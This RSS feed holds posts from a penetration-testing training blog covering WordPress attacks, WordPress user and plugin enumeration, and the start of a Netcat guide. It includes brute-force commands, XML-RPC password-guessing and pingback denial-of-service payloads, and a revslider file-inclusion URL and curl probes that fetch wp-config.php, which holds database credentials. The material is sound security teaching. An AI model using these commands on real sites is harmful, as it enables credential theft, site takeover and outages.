<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Enumeration Archives - Armour Infosec</title>
	<atom:link href="https://www.armourinfosec.com/category/penetration-testing/enumeration/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.armourinfosec.com/category/penetration-testing/enumeration/</link>
	<description>Do Your Part - Be Security Smart</description>
	<lastBuildDate>Thu, 30 Jan 2020 11:31:33 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.3.1</generator>

<image>
	<url>https://www.armourinfosec.com/wp-content/uploads/2018/02/ai.png</url>
	<title>Enumeration Archives - Armour Infosec</title>
	<link>https://www.armourinfosec.com/category/penetration-testing/enumeration/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>How to Hack WordPress ?</title>
		<link>https://www.armourinfosec.com/how-to-hack-wordpress/</link>
					<comments>https://www.armourinfosec.com/how-to-hack-wordpress/#respond</comments>
		
		<dc:creator><![CDATA[Armour Infosec]]></dc:creator>
		<pubDate>Wed, 29 Jan 2020 13:28:05 +0000</pubDate>
				<category><![CDATA[Enumeration]]></category>
		<category><![CDATA[Penetration Testing]]></category>
		<guid isPermaLink="false">https://www.armourinfosec.com/?p=25421</guid>

					<description><![CDATA[<p>Attacking &#38; Exploitation Before starting with this blog firstly visit wordpress enumeration blog . Researchers discovered an ongoing malvertising (online...</p>
<p>The post <a rel="nofollow" href="https://www.armourinfosec.com/how-to-hack-wordpress/">How to Hack WordPress ?</a> appeared first on <a rel="nofollow" href="https://www.armourinfosec.com/">Armour Infosec</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h1>Attacking &amp; Exploitation</h1>
<p>Before starting with this blog firstly visit <strong><a href="https://www.armourinfosec.com/wordpress-enumeration/">wordpress enumeration</a></strong> blog .</p>
<p>Researchers discovered an ongoing malvertising (<span class="js-about-item-abstr">online advertising to spread malware.</span>)campaign targeting millions of WordPress websites to infect with backdoor and exploiting the various WordPress plugins vulnerabilities.According to WordPress, there are nearly 60 million Websites power by WordPress content management system and hundreds of WordPress Plugins are installed that developers by various developers around the globe. Cyber criminals launch the payload by exploiting the vulnerabilities that reside in some of the most popular WordPress plugins and injecting malicious scripts in unpatched WordPress website.</p>
<p>Attacker: Kali Linux<br />
Target: WordPress</p>
<h5>Table Of Content</h5>
<p>1.Brute-forcing wp-login.php form<br />
2.Brute Force Login via xmlrpc.php<br />
3.Denial of Service (DOS) via xmlrpc.php<br />
4.Exploit WordPress Plugin<br />
5.Exploit WordPress Theme Example<br />
6.Sniff and Capture Credentials over non-secure login<br />
7.Compromise Systems Administration Tools<br />
8.Content Discovery<br />
9.Vulnerable Server Software</p>
<h3>1.Brute Force wp-login.php Form</h3>
<p>The most common attack against the WordPress user is brute forcing the password of an account to gain access to the back-end of the WordPress system. Other ways a password can be compromised include sniffing the password in clear text over a HTTP login session or even getting the credentials from a key logger on the workstation of the WordPress administrator.Accounts with administrator level access are the most sought after due to the amount of mischief an admin user can get up to; adding PHP command shells or malicious javascript directly through admin interface are common examples.</p>
<p>With the usernames we collected during information gathering we can get started (or just try admin). Take a look at the login form <strong>/wp-login.php</strong>, notice how failed logins confirm the username when an incorrect password is entered. This is very helpful to an attacker&#8230;. it also makes things more user friendly for the end user who has forgotten their username and password. This &#8220;feature&#8221; has been debated and it has been decided to keep this response within the WordPress code.<br />
Brute forcing accounts of users is possible using a number of open source tools. In addition there are worm like scripts available that have spread through the WordPress ecosystem, searching for and spreading to WordPress sites with weak admin passwords.</p>
<h5>WPScan</h5>
<p>The previously mentioned WPScan tool in addition to enumeration, can also perform brute force login attacks.</p>
<pre class="theme:familiar lang:sh decode:true">wpscan --url example.com --wordlist /usr/share/wordlist/rockyou.txt --username testuser --threads 20</pre>
<h5>Nmap NSE Script</h5>
<p>Nmap the port scanner can do much more than find open ports. Recent versions of Nmap come bundled with NSE scripts that can be used to test many different vulnerabilities; including enumerating users and brute forcing WordPress passwords.</p>
<pre class="theme:familiar lang:sh decode:true">nmap -sV --script http-wordpress-enum --script-args limit=25 example.com

PORT STATE SERVICE REASON
80/tcp open http syn-ack
| http-wordpress-enum:
| Username found: admin
| Username found: testadmin
| Username found: fred
| Username found: alice
| Username found: bob
|_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-enum.limit'</pre>
<h5>Burp Suite</h5>
<p>For those familiar with web application security testing, the Burp Suite Intruder tool can also be used for brute-forcing WordPress passwords. A WordPress login attempt is only a HTTP POST request after all.Configure Burp Intruder to send a valid username (or a list of usernames) along with a list of possible passwords and wait for the successful login.</p>
<h3><img decoding="async" fetchpriority="high" class="alignnone wp-image-25431" src="https://www.armourinfosec.com/wp-content/uploads/2020/01/edit.png" alt="" width="650" height="294" srcset="https://www.armourinfosec.com/wp-content/uploads/2020/01/edit.png 546w, https://www.armourinfosec.com/wp-content/uploads/2020/01/edit-300x136.png 300w" sizes="(max-width: 650px) 100vw, 650px" /></h3>
<h3>2.Brute Force Login using xmlrpc.php</h3>
<p>The xmlrpc.php capability is an API endpoint that allows mobile apps and other programmable access to backend functions of the WordPress site such as publishing posts. It is enabled by default and several attacks are possible against the endpoint depending on permissions and the version of the target WordPress installation.<br />
By using the xmlrpc.php endpoint to attack WordPress accounts we may bypass security plugins that are protecting the login form from abuse. This password guessing attack may also be faster, with the result being you can attempt more passwords.</p>
<p>Notice the -d, in curl this is the data that is sent as part of the POST request. You could also use Burp or your favorite scripting language for this request.</p>
<pre class="theme:familiar lang:sh decode:true">curl -X POST -d "&lt;methodCall&gt;&lt;methodName&gt;wp.getUsersBlogs&lt;/methodName&gt;&lt;params&gt;&lt;param&gt;&lt;value&gt;admin&lt;/value&gt;&lt;/param&gt;&lt;param&gt;&lt;value&gt;pass&lt;/value&gt;&lt;/param&gt;&lt;/params&gt;&lt;/methodCall&gt;" http://examplewp.com/xmlrpc.php</pre>
<p>In the response we will see an invalid password response or success. It is easy to spot and work into your script.</p>
<h3>3.Denial of Service (DOS) via xmlrpc.php</h3>
<p>Another use of the xmlrpc.php endpoint is to perform a denial of service attack. If this capability is enabled, we can send a small request to the server and get it to respond with a full page of content to a target of our choosing. The idea is to make multiple requests from different systems and get them all to target a single host. Potentially knocking it offline due to network congestion.</p>
<p>First, we enumerate the capabilities of the xmlrpc.php endpoint.</p>
<pre class="theme:familiar lang:sh decode:true">curl -X POST -d "&lt;methodCall&gt;&lt;methodName&gt;system.listMethods&lt;/methodName&gt;&lt;params&gt;&lt;/params&gt;&lt;/methodCall&gt;" http://examplewp.com/xmlrpc.php
The response will be a list of available methods.
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;methodResponse&gt;
&lt;params&gt;
&lt;param&gt;
&lt;value&gt;
&lt;array&gt;&lt;data&gt;
&lt;value&gt;&lt;string&gt;system.listMethods&lt;/string&gt;&lt;/value&gt;
&lt;value&gt;&lt;string&gt;system.getCapabilities&lt;/string&gt;&lt;/value&gt;
&lt;value&gt;&lt;string&gt;pingback.extensions.getPingbacks&lt;/string&gt;&lt;/value&gt;
&lt;value&gt;&lt;string&gt;pingback.ping&lt;/string&gt;&lt;/value&gt;
&lt;value&gt;&lt;string&gt;mt.publishPost&lt;/string&gt;&lt;/value&gt;
**** truncated ****</pre>
<p>Note the pingback.ping indicating pingback is enabled. Use the following data for the pingback attempt.</p>
<pre class="theme:familiar lang:default decode:true">&lt;methodCall&gt;
&lt;methodName&gt;pingback.ping&lt;/methodName&gt;
&lt;params&gt;&lt;param&gt;
&lt;value&gt;&lt;string&gt;
&lt;/param&gt;&lt;param&gt;&lt;value&gt;&lt;string&gt;http://**blog-url-from-wp**&lt;/string&gt;
&lt;/value&gt;&lt;/param&gt;&lt;/params&gt;
&lt;/methodCall&gt;</pre>
<p>Disabling access to xmlrpc.php from your web server or using .htaccess is recommended if you are not using the API. Not only will it block any attacks, it will reduce the amount of noise in your logs from the bots attempting to hit these API endpoints.</p>
<h3>4.Exploit WordPress Plugin</h3>
<p>Plugins, Themes and WordPress Core all contain a large amount of PHP code from developers around the world. These developers have differing abilities and focus when it comes to writing secure software. For this reason, there are thousands of exploitable vulnerabilities available to an attacker. Updating plugins, the WordPress core, and themes must be a routine task for any WordPress administrator to ensure the known vulnerabilities are patched.Common vulnerabilities include XSS, SQL injection, file upload, and code execution. All of these can have devastating consequences to a WordPress site. Search through Metasploit and exploit-db.com for exploitable WordPress bugs.</p>
<p><strong>Revslider Example Exploit</strong></p>
<p>An example of a WordPress plugin exploit is from a vulnerability discovered 5 years ago. The vulnerable revslider plugin resulted in tens of thousands of compromised WordPress sites. To this day, there are attempts to exploit it in our web server logs even in 2019. One reason it was such a popular plugin is that it was bundled with many themes.</p>
<p>A number of exploitation opportunities are possible, but this is perhaps the easiest to demonstrate. Exploitation is as difficult as loading this URL in a browser.</p>
<pre class="theme:familiar lang:sh decode:true">https://example.com/wp-admin/admin-ajax.php?action=revslider_show_image&amp;img=../wp-config.php</pre>
<p>The HTTP request would download the <strong>wp-config.php</strong> file from the vulnerable site if it had the exploitable version of revslider installed. The exploit type is known as a local file include, as the attacker is tricking the application code into including a sensitive file in the output. The <strong>wp-config.php</strong> is not normally accessible and contains the database credentials for the <strong>WordPress database user.</strong></p>
<p>With the database password, an attacker could attempt to login as the WordPress admin using the same password (if passwords were re-used). A more common attack vector would be to login to the phpmyadmin script, if installed, as this uses the database credentials. If MySQL is exposed, it may even possible to directly connect to the database using a MySQL database client and the leaked credentials.</p>
<p>Access to the database provides the attacker options to reset the administrator password, attempt to crack the admin hash, modify content in the database adding malicious js or iframes. There are many possibilities for further exploitation once the credentials in wp-config.php are leaked.</p>
<h3>5.Exploit WordPress Theme Example</h3>
<p>Exploits are available from various places and forums. This example uses an exploit from the popular Metasploit Exploitation Framework. The vulnerable theme is the very popular optimize press. The vulnerability was released back in 2013 and versions after 1.45 are not vulnerable to this exploit.Numerous bots and automated attack scripts that exploit WordPress sites do not perform the enumeration phase, they simply propel exploits at thousands of sites and hope for a successful payload.Plugins and themes not enabled can be exploited. Scanning for default locations of those vulnerable files is a highly common attack by automated bots.</p>
<h3><img decoding="async" class="alignnone wp-image-25423 size-full" src="https://www.armourinfosec.com/wp-content/uploads/2020/01/wp2.jpg" alt="" width="900" height="550" srcset="https://www.armourinfosec.com/wp-content/uploads/2020/01/wp2.jpg 900w, https://www.armourinfosec.com/wp-content/uploads/2020/01/wp2-300x183.jpg 300w, https://www.armourinfosec.com/wp-content/uploads/2020/01/wp2-768x469.jpg 768w" sizes="(max-width: 900px) 100vw, 900px" /><br />
6.Sniff and Capture Credentials over non-secure login</h3>
<p>Without additional security measures in place (TLS/SSL), accessing the /wp-admin/ dashboard is over an unencrypted connection. This means if you log in to your WordPress site on an unsecured network, such as the wireless at your local coffee shop or airport, your login and password to manage the site could be captured by an attacker watching your session.</p>
<p>In this example Wireshark capture we can clearly see the username and password being captured in our POST request to wp-login.php.<br />
<img decoding="async" class="alignnone wp-image-25424 size-full" src="https://www.armourinfosec.com/wp-content/uploads/2020/01/wp1.png" alt="" width="900" height="265" srcset="https://www.armourinfosec.com/wp-content/uploads/2020/01/wp1.png 900w, https://www.armourinfosec.com/wp-content/uploads/2020/01/wp1-300x88.png 300w, https://www.armourinfosec.com/wp-content/uploads/2020/01/wp1-768x226.png 768w" sizes="(max-width: 900px) 100vw, 900px" /></p>
<h3>7.Compromise Systems Administration Tools</h3>
<p>A successful password guessing attack against a server management account will give an attacker full access to the server and the WordPress application.Services that can be attacked with brute force password guessing include:</p>
<pre class="theme:familiar lang:css decode:true">&gt;SSH Service
&gt;MySQL database service
&gt;Webmin Server Management
&gt;CPanel or WHCMS Web Hosting Control Panels
&gt;phpMyAdmin database management application</pre>
<p>Reduce the chance of management account compromise:</p>
<pre class="theme:familiar lang:coffee decode:true">&gt;Use strong passwords everywhere, do not re-use them!
&gt;Move SSH to a different port
&gt;Use TLS/SSL for web based management services to prevent sniffing and credential compromise
&gt;White list IP addresses that are able to connect to Internet facing services</pre>
<h3>8.Content Discovery</h3>
<p>Content Discovery is the process of attempting to find items of interest in a web path. It applies to any web application, but since we are attacking WordPress, target it towards typical files and paths of interest in a WordPress installation.</p>
<p>For example:</p>
<pre class="theme:familiar lang:css decode:true ">curl https://example.com/wp-config.php.bak
curl https://example.com/.wp-config.php.swp</pre>
<p>These two examples are using curl to find a possible backup file of the wp-config.php file that we discussed earlier, as it contains sensitive information including database credentials. The second attempt tries to download the backup file that vim automatically creates when it is editing a file. A good reason not to edit files directly on your production sites!</p>
<p>Using curl to perform this search task for hundreds or even thousands of common files could be accomplished with a little bit of scripting. On the other hand, more appropriate tools such as Burp Suite, or gobuster, a tool that is very fast due to its parallel processing, will do a much better job.</p>
<h3>9.Vulnerable Server Software</h3>
<p>Testing the WordPress application itself is only one part of ensuring your web site is secure. The server that hosts the website must also be kept secure.Exploitable security vulnerabilities can, of course, be present in server software or the operating system. Examples can be found on any vulnerability mailing list. Recently a remote code execution vulnerability was found in Exim one of the most popular mail delivery servers on the Internet. <strong>PHPMyAdmin</strong> is a popular application to attack, due to its popularity and a long list of vulnerabilities.<br />
Server Software Misconfiguration</p>
<p>Even if no exploitable vulnerability is present, a simple misconfiguration can leave a service vulnerable. Often security vulnerabilities are introduced simply through a misconfiguration by an overworked system administrator.</p>
<p>The post <a rel="nofollow" href="https://www.armourinfosec.com/how-to-hack-wordpress/">How to Hack WordPress ?</a> appeared first on <a rel="nofollow" href="https://www.armourinfosec.com/">Armour Infosec</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.armourinfosec.com/how-to-hack-wordpress/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>WordPress Enumeration</title>
		<link>https://www.armourinfosec.com/wordpress-enumeration/</link>
					<comments>https://www.armourinfosec.com/wordpress-enumeration/#respond</comments>
		
		<dc:creator><![CDATA[Armour Infosec]]></dc:creator>
		<pubDate>Sat, 25 Jan 2020 14:21:12 +0000</pubDate>
				<category><![CDATA[Enumeration]]></category>
		<category><![CDATA[Information Gathering]]></category>
		<guid isPermaLink="false">https://www.armourinfosec.com/?p=25347</guid>

					<description><![CDATA[<p>WordPress User Enumeration These 10 enumeration techniques are a very fast way to identify users of a WordPress installation. With...</p>
<p>The post <a rel="nofollow" href="https://www.armourinfosec.com/wordpress-enumeration/">WordPress Enumeration</a> appeared first on <a rel="nofollow" href="https://www.armourinfosec.com/">Armour Infosec</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h1 class="btx-post-title post-title entry-title">WordPress User Enumeration</h1>
<p>These <strong>10 enumeration techniques</strong> are a very fast way to <strong>identify users</strong> of a WordPress installation. With valid usernames effective <strong>brute force attacks</strong> can be attempted to <strong>guess the password</strong> of the user accounts.</p>
<h2>Introduction to WordPress Security</h2>
<p>There are many common attack vectors that hackers use to attack a WordPress website. In this article we expose many of the common avenues for attack. By revealing these, you can help build your website’s defenses against WordPress attacks.</p>
<p>There are some great guides available on securing a WordPress installation, this article is not intended to repeat those. To get started with securing a WordPress installation, try the excellent guide on <a href="https://wordpress.org/">wordpress.org</a> or the comprehensive guide on the <a href="https://owasp.org/">OWASP</a> site.</p>
<p>It is noteworthy that in a managed WordPress hosting service, some of the attacks (and mitigation) listed below will be the responsibility of the hosting provider. If you are self hosting then security and maintenance is your responsibility. Ready to start? Grab our hoodie and start hacking!</p>
<p>In this article we are going to discuss several ways to identify the valid usernames of any WordPress website.</p>
<h2>Table Of Contents:</h2>
<p>1.Usernames enumerating through the Author Archives</p>
<p>2.WordPress Enumeration via JSON API</p>
<p>3.WordPress Enumeration via the Login Form</p>
<p>4.Enumerating WordPress Core Version</p>
<p>5.WordPress Plugin (and version) Enumeration</p>
<p>6. WordPress Theme Enumeration</p>
<p>7.Directory Indexing</p>
<p>8.Server Vulnerability Testing</p>
<p>9.WP Scan</p>
<p>10.Nmap NSE Scripts for WordPress</p>
<h4>1.Enumerate Usernames Through the Author Archives :</h4>
<p>In many WordPress installations, it is possible to enumerate WordPress usernames through the author archives, including the admin username. To access the author archives, we just need to add author=n (where n equals any integer) as a parameter to the WordPress home page, as shown below:</p>
<pre class="theme:familiar lang:sh decode:true ">http://example.com/?author=1</pre>
<p>The request will be automatically redirected by WordPress to its counterparts:</p>
<pre class="theme:familiar lang:sh decode:true ">http://example.com/author/admin/</pre>
<p>Using this method, we will be able to identify all the usernames by fuzzing the author parameter.</p>
<h4>2.WordPress Enumeration via JSON API :</h4>
<p>Using a json endpoint, it may be possible to get a list of users on the site. This was restricted in version 4.7.1 that shows only the user that has published a post and the user that has been configured. Prior to this version, all the users were shown by default.</p>
<pre class="theme:familiar lang:xhtml decode:true ">https://wordpressexample.com/wp-json/wp/v2/users</pre>
<p>User Enumeration via the JSON user Endpoint</p>
<p><img decoding="async" class="alignnone wp-image-25352 size-full" src="https://www.armourinfosec.com/wp-content/uploads/2020/01/11-1.png" alt="" width="741" height="613" srcset="https://www.armourinfosec.com/wp-content/uploads/2020/01/11-1.png 741w, https://www.armourinfosec.com/wp-content/uploads/2020/01/11-1-300x248.png 300w" sizes="(max-width: 741px) 100vw, 741px" /></p>
<p>&nbsp;</p>
<h4>3.WordPress Enumeration via the Login Form :</h4>
<p>You must confirm valid users with the login form. Brute forcing the user name is possible using the login form as the response is different for a valid as opposed to an invalid account. Using a tool such as Burp Intruder in Burp Suite, we would load a list of possible usernames and cycle through HTTP POST requests to the WordPress login form, examining the response in each case.</p>
<p>A HTTP response that matches &#8220;invalid password&#8221; indicates that the username is valid. We could then move on to attacking the password using the same process with a common password list.</p>
<p><img decoding="async" class="alignnone wp-image-25353 size-full" src="https://www.armourinfosec.com/wp-content/uploads/2020/01/2-1.png" alt="" width="266" height="300" /></p>
<p>&nbsp;</p>
<h4>4.Enumerating WordPress Core Version :</h4>
<p>Three simple methods can be used to determine the core version of WordPress.</p>
<h5>4.1 Meta Generator</h5>
<p>Check the HTML source of the page for a meta generator tag in the HEAD section of the HTML source. This example is taken from the source of a default WP install of the version 3.5.2 and of twenty twelve theme. From the source HTML:</p>
<pre class="theme:familiar lang:css decode:true ">&lt;meta name="generator" content="WordPress 3.5.2" /&gt;</pre>
<h5>4.2 Version in readme.html</h5>
<p>If the meta tag has been disabled, check for the presence of /readme.html from root of the install. Early versions of WordPress had the version right there at the top of the Read Me file. But the newer versions of WordPress have removed the version from the ReadMe file.</p>
<p><img decoding="async" class="alignnone wp-image-25354" src="https://www.armourinfosec.com/wp-content/uploads/2020/01/3-1.png" alt="" width="741" height="79" srcset="https://www.armourinfosec.com/wp-content/uploads/2020/01/3-1.png 854w, https://www.armourinfosec.com/wp-content/uploads/2020/01/3-1-300x32.png 300w, https://www.armourinfosec.com/wp-content/uploads/2020/01/3-1-768x82.png 768w" sizes="(max-width: 741px) 100vw, 741px" /></p>
<p>Version in HTML source of site.</p>
<p>In the HTML source, the version is often appended as a parameter on links to javascript and css resources that the page is loading. Depending on the plugin, this will not always be the case and sites that have minified js and css may not have all this information leaks present.</p>
<h5>4.3 Security Vulnerabilities in WordPress Core</h5>
<p>If an attacker finds a site with an older WordPress Core version, this may be directly exploitable via a security vulnerability in the WordPress core, In addition, it is a clear indication that the site is not well maintained. In a poorly managed site, other components (plugins / themes) may not have been updated; in this case, the chance of a successful attack has increased considerably.</p>
<h4>5.WordPress Plugin (and version) Enumeration :</h4>
<p>During WordPress Plugin Enumeration, we attempt to find as many installed plugins as we can (even those that are disabled). The knowledge of the installed WordPress plugins may allow us to identify the version and research whether it is vulnerable to known exploits.</p>
<p>Passive analysis: It can be used to find plugins through regular HTTP requests to the WordPress site.<br />
Active enumeration: It is more aggressive and usually involves using a script or tool to perform hundreds or even thousands of mostly invalid HTTP requests.</p>
<p>Reading through the HTML source of the WordPress site can reveal installed plugins through javascript links, comments and resources, such as CSS that are loaded into the page. These are the easiest plugins to discover and require no aggressive testing of the target site. Even the HTTP headers can reveal information such as the X-Powered-By header that reveals the presence of the W3-Total-Cache plugin. Some plugins do not leave traces in the HTML source; to find all the installed plugins you have to be more aggressive. A number of tools can brute force known plugin lists from the path /wp-content/plugins/ * plugin to test * /. The web server response will usually reveal valid directories (often with HTTP 403) as opposed to unknown directories on the web server with its HTTP response code.</p>
<p>Once you have a list of plugins that are present on the site, your WordPress scanner or manual requests can be used to determine the version of the plugin. In the readme.txt, we can see the version of the plugin. Compare this against known exploits and we can get a good idea if the site is vulnerable without actually throwing the exploit.</p>
<h4>6. WordPress Theme Enumeration :</h4>
<p>WordPress themes can contain vulnerabilities that might expose the site to compromise. Themes are collections of PHP code with HTML and CSS resources. More complex themes have more included components and are more likely to introduce security vulnerabilities. The enumeration of the theme is similar to the detection of plugins. The theme path is often visible in the HTML of the page source. The CSS file getting loaded from the theme will often reveal the path. With the path we have the theme name, and we can load the readme.txt to confirm the theme in use and its version.</p>
<pre class="theme:familiar lang:sh decode:true ">curl http://examplewp.com/wp-content/themes/Avada/readme.txt</pre>
<p>An important consideration when testing for vulnerable WordPress Themes (and plugins) is that a theme that is installed yet not active may still have code that is accessible and vulnerable. This is why brute force testing for theme paths is an important step when assessing an unknown WordPress installation.</p>
<p><img decoding="async" class="alignnone wp-image-25355" src="https://www.armourinfosec.com/wp-content/uploads/2020/01/4-1.png" alt="" width="741" height="108" srcset="https://www.armourinfosec.com/wp-content/uploads/2020/01/4-1.png 900w, https://www.armourinfosec.com/wp-content/uploads/2020/01/4-1-300x44.png 300w, https://www.armourinfosec.com/wp-content/uploads/2020/01/4-1-768x112.png 768w" sizes="(max-width: 741px) 100vw, 741px" /></p>
<h4>7.Directory Indexing :</h4>
<p>Directory indexing enabled on plugins directory. Directory indexing is a function of the web server that allows you to view the contents of a directory in the web accessible path. Viewing the contents of a directory allows an attacker to gather valuable information about the installation such as installed plugins and themes without the need to brute force the paths.</p>
<p>To check for directory indexing, you can browse to folder locations and see if you get a response that includes &#8220;Index Of&#8221; and a list of folders / files. Common locations to check would be:</p>
<pre class="theme:familiar lang:sh decode:true">/wp-content/
/wp-content/plugins/
/wp-content/themes/
/uploads/
/images/</pre>
<h4>8.Server Vulnerability Testing :</h4>
<p>In this phase, we move into testing network services rather than direct testing of the WordPress installation. Port scanning is the standard technique for the discovery of network services running on the server.</p>
<p>Services that might be present on a WordPress host:</p>
<p><strong>MySQL</strong> Server Remotely Accessible (port 3306)<br />
<strong>CPANEL</strong> administration login portal (port 2082 / 2083)<br />
<strong>Webmin</strong> administration (port 10000)<br />
<strong>FTP</strong> service for file system access<br />
<strong>SSH</strong> for remote control<br />
Other web services with admin or other sites (port 8080 / 8888 etc)</p>
<p>Any of the above services may allow access to or control of the server through either a security vulnerability or a compromised password. Port scanning can be conducted using the excellent Nmap Port Scanner or an alternative security tool. Carrying on from our enumeration of network services using the port scanner, we could run vulnerability scans against the discovered services to identify exploitable services or other items of interest.</p>
<h5>8.1 Nikto Vulnerability Scanner</h5>
<p>Nikto is another vulnerability scanner that focuses on the discovery of known vulnerable scripts, configuration mistakes and other web server items of interest. The Nikto tool has been around for many years yet still finds a place in the penetration testers toolbox. Tools such as this throw tens of thousands of tests against the target in an attempt to discover known vulnerabilities and other low hanging fruits. It is a noisy process filling the target system logs with 404&#8217;s and other errors. Not recommended if you are going after a target ninja style (pentest / red team).</p>
<h4>9.WPScan :</h4>
<p>WPScan is a popular WordPress security testing tool that ties many of these simple enumeration techniques together, enabling users to quickly enumerate a WordPress installation. It has a commercial license that restricts the use for personal testing of WordPress sites and non-commercial usage.It attempts to identify users, plugins, and themes, depending on the selected command line options, and also show vulnerabilities for each of the discovered plugins.</p>
<p><img decoding="async" class="alignnone wp-image-25357 size-full" src="https://www.armourinfosec.com/wp-content/uploads/2020/01/6-1.png" alt="" width="500" height="197" srcset="https://www.armourinfosec.com/wp-content/uploads/2020/01/6-1.png 500w, https://www.armourinfosec.com/wp-content/uploads/2020/01/6-1-300x118.png 300w" sizes="(max-width: 500px) 100vw, 500px" /></p>
<p><a href="https://github.com/wpscanteam/wpscan">https://github.com/wpscanteam/wpscan</a></p>
<h4>10.Nmap NSE Scripts for WordPress :</h4>
<p>Nmap comes bundled with NSE scripts that extend the functionality of this popular port scanner. A few of the Nmap NSE scripts are particularly helpful for enumerating WordPress users, plugins, and themes using the same techniques we have previously discussed. The best thing about this option is that if you have Nmap installed, you already have these scripts ready to go.</p>
<pre class="theme:familiar lang:sh decode:true ">┌─[root@Dasagreeva]─[/usr/share/nmap/scripts]
└──╼ #ls -lha |grep wordpress
-rw-r--r-- 1 root root 5.0K Nov 26 14:51 http-wordpress-brute.nse
-rw-r--r-- 1 root root 11K Nov 26 14:51 http-wordpress-enum.nse
-rw-r--r-- 1 root root 4.6K Nov 26 14:51 http-wordpress-users.nse</pre>
<p>&nbsp;</p>
<p>The post <a rel="nofollow" href="https://www.armourinfosec.com/wordpress-enumeration/">WordPress Enumeration</a> appeared first on <a rel="nofollow" href="https://www.armourinfosec.com/">Armour Infosec</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.armourinfosec.com/wordpress-enumeration/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Hacking with Netcat : A Comprehensive Guide</title>
		<link>https://www.armourinfosec.com/hacking-with-netcat-a-comprehensive-guide/</link>
					<comments>https://www.armourinfosec.com/hacking-with-netcat-a-comprehensive-guide/#respond</comments>
		
		<dc:creator><![CDATA[Armour Infosec]]></dc:creator>
		<pubDate>Wed, 22 Jan 2020 12:59:53 +0000</pubDate>
				<category><![CDATA[Enumeration]]></category>
		<category><![CDATA[Penetration Testing]]></category>
		<guid isPermaLink="false">https://www.armourinfosec.com/?p=25276</guid>

					<description><![CDATA[<p>Netcat is a featured networking utility tool which reads and writes data across network connections, using the TCP/IP protocol. It...</p>
<p>The post <a rel="nofollow" href="https://www.armourinfosec.com/hacking-with-netcat-a-comprehensive-guide/">Hacking with Netcat : A Comprehensive Guide</a> appeared first on <a rel="nofollow" href="https://www.armourinfosec.com/">Armour Infosec</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><strong>Netcat</strong> is a featured networking utility tool which reads and writes data across network connections, using the TCP/IP protocol.<br />
It is designed to be a reliable &#8220;back-end&#8221; tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities. It&#8217;s so simple, powerful, and useful that many people within the IT community refer to it as the &#8220;<strong>Swiss Army Knife of Hackers</strong>&#8220;.</p>
<h5><strong>Features :</strong></h5>
<ul>
<li>Outbound and Inbound connections, TCP or UDP, to or from any ports.</li>
<li>Featured tunneling mode which allows also special tunneling such as UDP to TCP, with the possibility of specifying all network parameters (source port/interface, listening port/interface, and the remote host allowed to connect to the tunnel).</li>
<li>Built-in port-scanning capabilities, with randomization</li>
<li>Advanced usage options, such as buffered send-mode (one line every N seconds), and hex dump (to stderr or to a specified file) of transmitted and received data.</li>
<li>Can read command line arguments from standard input</li>
<li>Optional ability to let another program service establish connections</li>
<li>To read a banner from the port</li>
<li>Encrypted file transfer</li>
<li>Command Line Chat Server</li>
</ul>
<h5><strong>General Syntax :</strong></h5>
<pre class="theme:familiar lang:sh decode:true">nc [options] host port
</pre>
<h5><strong>Getting start with Netcat :<br />
</strong></h5>
<p>Netcat can be used from any directory. Let&#8217;s start with the basic option which will show us the help page by the following command.</p>
<pre class="theme:familiar lang:sh decode:true">nc -h
</pre>
<p><img decoding="async" class="alignnone wp-image-25315" src="https://www.armourinfosec.com/wp-content/uploads/2020/01/2-1024x608.png" alt="" width="605" height="359" srcset="https://www.armourinfosec.com/wp-content/uploads/2020/01/2-1024x608.png 1024w, https://www.armourinfosec.com/wp-content/uploads/2020/01/2-300x178.png 300w, https://www.armourinfosec.com/wp-content/uploads/2020/01/2-768x456.png 768w, https://www.armourinfosec.com/wp-content/uploads/2020/01/2-1536x912.png 1536w, https://www.armourinfosec.com/wp-content/uploads/2020/01/2.png 1707w" sizes="(max-width: 605px) 100vw, 605px" /></p>
<h5><strong>Port Scanning :</strong></h5>
<p>One of the most common uses for netcat is as a Port Scanner. It can be used to know which ports are open and running services on a target machine. It can scan a single or multiple or a range of open ports.<br />
We will use <strong>-z</strong> option to perform only scan and <strong>-v</strong> option enables verbose mode options for a port scan like below.</p>
<pre class="theme:familiar lang:sh decode:true">nc -v -z 192.168.1.200 80</pre>
<p><img decoding="async" class="alignnone wp-image-25317 size-full" src="https://www.armourinfosec.com/wp-content/uploads/2020/01/3.png" alt="" width="610" height="67" srcset="https://www.armourinfosec.com/wp-content/uploads/2020/01/3.png 610w, https://www.armourinfosec.com/wp-content/uploads/2020/01/3-300x33.png 300w" sizes="(max-width: 610px) 100vw, 610px" /></p>
<pre class="theme:familiar lang:sh decode:true ">nc -v -z 192.168.1.200 21-25</pre>
<p><img decoding="async" class="alignnone wp-image-25319" src="https://www.armourinfosec.com/wp-content/uploads/2020/01/4.png" alt="" width="604" height="150" srcset="https://www.armourinfosec.com/wp-content/uploads/2020/01/4.png 622w, https://www.armourinfosec.com/wp-content/uploads/2020/01/4-300x74.png 300w" sizes="(max-width: 604px) 100vw, 604px" /></p>
<h5><strong>Banner Grabbing :</strong></h5>
